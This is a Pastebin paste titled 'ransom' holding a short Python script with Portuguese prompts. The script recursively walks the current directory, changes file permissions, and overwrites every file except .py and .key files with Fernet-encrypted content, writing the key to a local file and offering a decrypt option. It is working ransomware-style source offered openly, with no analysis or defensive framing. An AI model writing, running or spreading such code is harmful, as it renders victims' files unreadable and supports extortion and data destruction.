Advertisement
dev017

ransom

Oct 14th, 2024
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.73 KB | Source Code | 0 0
  1. import os
  2. import stat
  3. from cryptography.fernet import Fernet
  4.  
  5. def change_permissions(file_path):
  6.     try:
  7.  
  8.         os.chmod(file_path, stat.S_IRUSR | stat.S_IWUSR)
  9.         print(f"Permissões modificadas para: {file_path}")
  10.     except Exception as e:
  11.         print(f"Falha ao alterar permissões para {file_path}: {e}")
  12.  
  13. def generate_key():
  14.     key = Fernet.generate_key()
  15.     with open("filekey.key", "wb") as key_file:
  16.         key_file.write(key)
  17.     return key
  18.  
  19. def load_key():
  20.     return open("filekey.key", "rb").read()
  21.  
  22. def encrypt_files(key):
  23.     fernet = Fernet(key)
  24.     for root, dirs, files in os.walk("."):
  25.         for file in files:
  26.             if file.endswith(".py") or file.endswith(".key"):
  27.                 continue
  28.             file_path = os.path.join(root, file)
  29.  
  30.             change_permissions(file_path)
  31.  
  32.             try:
  33.                 with open(file_path, "rb") as original_file:
  34.                     original_data = original_file.read()
  35.                 encrypted_data = fernet.encrypt(original_data)
  36.                 with open(file_path, "wb") as encrypted_file:
  37.                     encrypted_file.write(encrypted_data)
  38.                 print(f"Arquivo criptografado: {file_path}")
  39.             except Exception as e:
  40.                 print(f"Falha ao criptografar {file_path}: {e}")
  41.  
  42. def decrypt_files(key):
  43.     fernet = Fernet(key)
  44.     for root, dirs, files in os.walk("."):
  45.         for file in files:
  46.             if file.endswith(".py") or file.endswith(".key"):
  47.                 continue
  48.             file_path = os.path.join(root, file)
  49.  
  50.             change_permissions(file_path)
  51.  
  52.             try:
  53.                 with open(file_path, "rb") as encrypted_file:
  54.                     encrypted_data = encrypted_file.read()
  55.                 decrypted_data = fernet.decrypt(encrypted_data)
  56.                 with open(file_path, "wb") as decrypted_file:
  57.                     decrypted_file.write(decrypted_data)
  58.                 print(f"Arquivo descriptografado: {file_path}")
  59.             except Exception as e:
  60.                 print(f"Falha ao descriptografar {file_path}: {e}")
  61.  
  62. def main():
  63.     print("Escolha uma opção: \n1. Criptografar arquivos\n2. Descriptografar arquivos")
  64.     choice = input("Opção: ")
  65.  
  66.     if choice == "1":
  67.         print("Gerando chave e criptografando arquivos...")
  68.         key = generate_key()
  69.         encrypt_files(key)
  70.         print("Arquivos criptografados. Guarde a chave com segurança!")
  71.     elif choice == "2":
  72.         print("Descriptografando arquivos...")
  73.         key = load_key()
  74.         decrypt_files(key)
  75.         print("Arquivos descriptografados com sucesso!")
  76.     else:
  77.         print("Opção inválida. Tente novamente.")
  78.  
  79. if __name__ == "__main__":
  80.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement